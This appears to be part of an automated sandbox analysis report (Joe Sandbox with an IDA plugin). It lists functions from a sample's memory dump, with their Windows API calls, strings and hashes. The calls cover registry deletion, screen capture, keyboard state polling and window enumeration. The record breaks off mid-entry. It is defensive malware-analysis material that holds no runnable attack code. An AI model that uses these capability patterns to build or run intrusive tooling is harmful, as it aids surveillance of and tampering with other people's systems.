SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00FC86AF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 3e87838f3414c94749df61304f5d79f6060fe3c669c4ea693d5b6d5ae0f2d35c
Instruction ID: bbf36b35a1350d7c7cb4fc6188b693d26294457e46557b364a2204e984bc4f06
Opcode Fuzzy Hash: 3e87838f3414c94749df61304f5d79f6060fe3c669c4ea693d5b6d5ae0f2d35c
Instruction Fuzzy Hash: 5A414C71600209AFDB11CFA5CE4AEAA7BB8FF89761F14405CF909E7260DB709D01EB60

Function 00FA14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00FA1502
VariantCopy.OLEAUT32(?,?), ref: 00FA150B
VariantClear.OLEAUT32(?), ref: 00FA1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00FA15FB
VarR8FromDec.OLEAUT32(?,?), ref: 00FA1657
VariantInit.OLEAUT32(?), ref: 00FA1708
SysFreeString.OLEAUT32(?), ref: 00FA178C
VariantClear.OLEAUT32(?), ref: 00FA17D8
VariantClear.OLEAUT32(?), ref: 00FA17E7
VariantInit.OLEAUT32(00000000), ref: 00FA1823

Strings

Default, xrefs: 00FA16AF
%4d%02d%02d%02d%02d%02d, xrefs: 00FA1625

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 08175971e3eddb8c40077de06d83599298f636467c970381c103aef223e1d47d
Instruction ID: 6acd70143e4e90f734995a71b2826e453f5a1f2977e7f9b6ca71089110e48e83
Opcode Fuzzy Hash: 08175971e3eddb8c40077de06d83599298f636467c970381c103aef223e1d47d
Instruction Fuzzy Hash: 70D121B2E00505DFDB00DFA5D895B79B7B0BF46710F1A805AE84AAB180DB34DC04FBA1

Function 00FBB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00FBC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FBB6AE,?,?), ref: 00FBC9B5
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBC9F1
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA68
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FBB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FBB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00FBB80A
RegCloseKey.ADVAPI32(?), ref: 00FBB87E
RegCloseKey.ADVAPI32(?), ref: 00FBB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00FBB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00FBB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00FBB922
FreeLibrary.KERNEL32(00000000), ref: 00FBB983
RegCloseKey.ADVAPI32(00000000), ref: 00FBB994

Strings

RegDeleteKeyExW, xrefs: 00FBB8FE
advapi32.dll, xrefs: 00FBB8ED

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 5c5784204634ac1aade661c74f33eff46d759cb9faf3be0c6ec681ae171ed315
Instruction ID: af39a60c11e986a985d3903d6effe1b6a1b964355b1b74d5088338a1c740f40c
Opcode Fuzzy Hash: 5c5784204634ac1aade661c74f33eff46d759cb9faf3be0c6ec681ae171ed315
Instruction Fuzzy Hash: 6EC19E35608201AFD710DF15C895F6ABBE1FF84328F14845CE49A8B2A2CBB5EC45EF91

Function 00FB255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FB25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00FB25E8
CreateCompatibleDC.GDI32(?), ref: 00FB25F4
SelectObject.GDI32(00000000,?), ref: 00FB2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00FB266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00FB26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00FB26D0
SelectObject.GDI32(?,?), ref: 00FB26D8
DeleteObject.GDI32(?), ref: 00FB26E1
DeleteDC.GDI32(?), ref: 00FB26E8
ReleaseDC.USER32(00000000,?), ref: 00FB26F3

Strings

(, xrefs: 00FB268D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 3cffd90fab8c96629a266332d4b94bfc67326ef1cd21a024f27866db09a54e64
Instruction ID: eb68bea57e184fe44dd51f09d2220d1630d1022774bc6c07dec81793a3c52cc9
Opcode Fuzzy Hash: 3cffd90fab8c96629a266332d4b94bfc67326ef1cd21a024f27866db09a54e64
Instruction Fuzzy Hash: 696101B5D00219EFCF04CFA9C985EAEBBB6FF48310F248529E959A7250D734A941DF90

Function 00F6DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00F6DAA1

Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D659
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D66B
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D67D
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D68F
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6A1
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6B3
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6C5
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6D7
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6E9
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D6FB
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D70D
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D71F
Part of subcall function 00F6D63C: _free.LIBCMT ref: 00F6D731

_free.LIBCMT ref: 00F6DA96

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

_free.LIBCMT ref: 00F6DAB8
_free.LIBCMT ref: 00F6DACD
_free.LIBCMT ref: 00F6DAD8
_free.LIBCMT ref: 00F6DAFA
_free.LIBCMT ref: 00F6DB0D
_free.LIBCMT ref: 00F6DB1B
_free.LIBCMT ref: 00F6DB26
_free.LIBCMT ref: 00F6DB5E
_free.LIBCMT ref: 00F6DB65
_free.LIBCMT ref: 00F6DB82
_free.LIBCMT ref: 00F6DB9A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 78c0c0fe0a2a59f2e4f4b39e4dd74ce4d560f06dc434dfc6e657a4835ae38283
Instruction ID: 149657d1e4e543c7087c729544c4d2274dfc451570661603e17bf4def5e265cd
Opcode Fuzzy Hash: 78c0c0fe0a2a59f2e4f4b39e4dd74ce4d560f06dc434dfc6e657a4835ae38283
Instruction Fuzzy Hash: F7317831F046049FEB25AA78EC41B6AB7F9FF80360F154529E048D7192DB38AC80FB20

Function 00F9365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00F9369C
_wcslen.LIBCMT ref: 00F936A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00F93797
GetClassNameW.USER32(?,?,00000400), ref: 00F9380C
GetDlgCtrlID.USER32(?), ref: 00F9385D
GetWindowRect.USER32(?,?), ref: 00F93882
GetParent.USER32(?), ref: 00F938A0
ScreenToClient.USER32(00000000), ref: 00F938A7
GetClassNameW.USER32(?,?,00000100), ref: 00F93921
GetWindowTextW.USER32(?,?,00000400), ref: 00F9395D

Strings

%s%u, xrefs: 00F93734

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 350f32c68f281133a9fc180abf8ab1b370edeffdf0b0947acf7958bc67352964
Instruction ID: 4eec8736a8089507d306a7dc9e624f13af24040caa394f733c4756bfdd595125
Opcode Fuzzy Hash: 350f32c68f281133a9fc180abf8ab1b370edeffdf0b0947acf7958bc67352964
Instruction Fuzzy Hash: 5D910671604306AFEB19DF64C885FAAF7A9FF44350F004529F999C2190DB34EA49EBD1

Function 00F94954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00F94994
GetWindowTextW.USER32(?,?,00000400), ref: 00F949DA
_wcslen.LIBCMT ref: 00F949EB
CharUpperBuffW.USER32(?,00000000), ref: 00F949F7
_wcsstr.LIBVCRUNTIME ref: 00F94A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00F94A64
GetWindowTextW.USER32(?,?,00000400), ref: 00F94A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00F94AE6
GetClassNameW.USER32(?,?,00000400), ref: 00F94B20
GetWindowRect.USER32(?,?), ref: 00F94B8B

Strings

ThumbnailClass, xrefs: 00F94A6F, 00F94AF1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: a2cadb11b4b01b3b6542ec490fc612561f9a86c37a8c721be4e29aa7f47dc50f
Instruction ID: fa9a739ea90c5a9bf6338f18c58e6ce1b5fa3ec96dba76236b3040a5e5ccdead
Opcode Fuzzy Hash: a2cadb11b4b01b3b6542ec490fc612561f9a86c37a8c721be4e29aa7f47dc50f
Instruction Fuzzy Hash: B491B1714082099FEF04CF14C981FAA77E8FF94324F048469FD899A196DB34ED46EBA1

Function 00F9BF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(01001990,000000FF,00000000,00000030), ref: 00F9BFAC
SetMenuItemInfoW.USER32(01001990,00000004,00000000,00000030), ref: 00F9BFE1
Sleep.KERNEL32(000001F4), ref: 00F9BFF3
GetMenuItemCount.USER32(?), ref: 00F9C039
GetMenuItemID.USER32(?,00000000), ref: 00F9C056
GetMenuItemID.USER32(?,-00000001), ref: 00F9C082
GetMenuItemID.USER32(?,?), ref: 00F9C0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F9C10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F9C124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F9C145

Strings

0, xrefs: 00F9BF3D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 26b163cdda8837a97daf1d662c88f89b98e95f10f4e0c556a48ecd46fd73b63d
Instruction ID: 2ade1a41726cfccdd9cdcc679a9cc390de183425fa41e97849b3a35b0e4d2318
Opcode Fuzzy Hash: 26b163cdda8837a97daf1d662c88f89b98e95f10f4e0c556a48ecd46fd73b63d
Instruction Fuzzy Hash: C461B0B090024AAFEF15CF64DE88EEE7BB8EB05354F044155F945E3292C735AD45EBA0

Function 00FBCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00FBCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00FBCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00FBCD48

Part of subcall function 00FBCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00FBCCAA
Part of subcall function 00FBCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00FBCCBD
Part of subcall function 00FBCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00FBCCCF
Part of subcall function 00FBCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00FBCD05
Part of subcall function 00FBCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00FBCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00FBCCF3

Strings

RegDeleteKeyExW, xrefs: 00FBCCC9
advapi32.dll, xrefs: 00FBCCB8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 3a6be05363cd40b892ce73a6cce3aede31eeeaf6237daa19828a6d860ae7a155
Instruction ID: c04407a8eb1e671e596d15bc7a804c4a72e70d178c1dc79ace12d29e72ec2033
Opcode Fuzzy Hash: 3a6be05363cd40b892ce73a6cce3aede31eeeaf6237daa19828a6d860ae7a155
Instruction Fuzzy Hash: 49318BB5D0112DBBDB208B52DC89EFFBB7CEF55750F000165E909E3200DA309A45BAE0

Function 00FA3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00FA3D40
_wcslen.LIBCMT ref: 00FA3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FA3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00FA3DBE
RemoveDirectoryW.KERNEL32(?), ref: 00FA3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00FA3E55
CloseHandle.KERNEL32(00000000), ref: 00FA3E60
CloseHandle.KERNEL32(00000000), ref: 00FA3E6B

Strings

:, xrefs: 00FA3D82
\, xrefs: 00FA3D77
\??\%s, xrefs: 00FA3D5B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 1f8cf21eb2fdd0d3c2e5b6459728ecd50cb8fc9b451cc6169a34cd7e8b28ca2a
Instruction ID: 31576d08b160e98a608794492a132caece0a75883f14cd6dc2508215c0837392
Opcode Fuzzy Hash: 1f8cf21eb2fdd0d3c2e5b6459728ecd50cb8fc9b451cc6169a34cd7e8b28ca2a
Instruction Fuzzy Hash: D631B2B290020DABDB219BA0DC49FEF37BCEF89750F1041B5FA09D6060EB749744AB64

Function 00F9E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00F9EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00F9EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F9EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00F9EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00F9EAA7

Strings

open , xrefs: 00F9EA0C
alias PlayMe, xrefs: 00F9EA36
close PlayMe, xrefs: 00F9EA6E, 00F9EA9B
play PlayMe wait, xrefs: 00F9EA91
play PlayMe, xrefs: 00F9EAA2
status PlayMe mode, xrefs: 00F9EA58

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: f838091cd4ca58ffd68aa3c102fc88985350e031c5218c9dccdee7b7d285a97f
Instruction ID: 0d16d2f6821b76aa03174a0553aff53207717314eb875158d68bb9dfa45ad78c
Opcode Fuzzy Hash: f838091cd4ca58ffd68aa3c102fc88985350e031c5218c9dccdee7b7d285a97f
Instruction Fuzzy Hash: 3B114231A9021D79EB20E761DC4AEFB7A7CEFD1B50F4004297901E20E1DEB45905E6B1

Function 00F99F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00F9A012
SetKeyboardState.USER32(?), ref: 00F9A07D
GetAsyncKeyState.USER32(000000A0), ref: 00F9A09D
GetKeyState.USER32(000000A0), ref: 00F9A0B4
GetAsyncKeyState.USER32(000000A1), ref: 00F9A0E3
GetKeyState.USER32(000000A1), ref: 00F9A0F4
GetAsyncKeyState.USER32(00000011), ref: 00F9A120
GetKeyState.USER32(00000011), ref: 00F9A12E
GetAsyncKeyState.USER32(00000012), ref: 00F9A157
GetKeyState.USER32(00000012), ref: 00F9A165
GetAsyncKeyState.USER32(0000005B), ref: 00F9A18E
GetKeyState.USER32(0000005B), ref: 00F9A19C

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 4dd174d6e3051018583d459eae3181ac5751eb9e2d57c67e67dc794fdaed1209
Instruction ID: 722a90fc3e3f5705a1ac8274fa2aa14fe1a7c0d73a7a4236c6eb4bd5c822751f
Opcode Fuzzy Hash: 4dd174d6e3051018583d459eae3181ac5751eb9e2d57c67e67dc794fdaed1209
Instruction Fuzzy Hash: D151FB30D0878829FF35DB6489117EAFFB49F11394F08459DD5C2571C2DA949A8CEBE2

Function 00F95CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00F95CE2
GetWindowRect.USER32(00000000,?), ref: 00F95CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00F95D59
GetDlgItem.USER32(?,00000002), ref: 00F95D69
GetWindowRect.USER32(00000000,?), ref: 00F95D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00F95DCF
GetDlgItem.USER32(?,000003E9), ref: 00F95DDD
GetWindowRect.USER32(00000000,?), ref: 00F95DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00F95E31
GetDlgItem.USER32(?,000003EA), ref: 00F95E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00F95E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00F95E67

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: f14ac7661052388b3e2c61a4018b02128c28d633f8629c26d0d508b824478e48
Instruction ID: 77c97003e24e40ea0a6cc76c17049d4f120765b6a5043d0db858789ce951dd90
Opcode Fuzzy Hash: f14ac7661052388b3e2c61a4018b02128c28d633f8629c26d0d508b824478e48
Instruction Fuzzy Hash: BC511FB1E00609AFDF18DF68CE8AEAE7BB5EB48710F108129F519E7290D7709E04DB50

Function 00F48BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

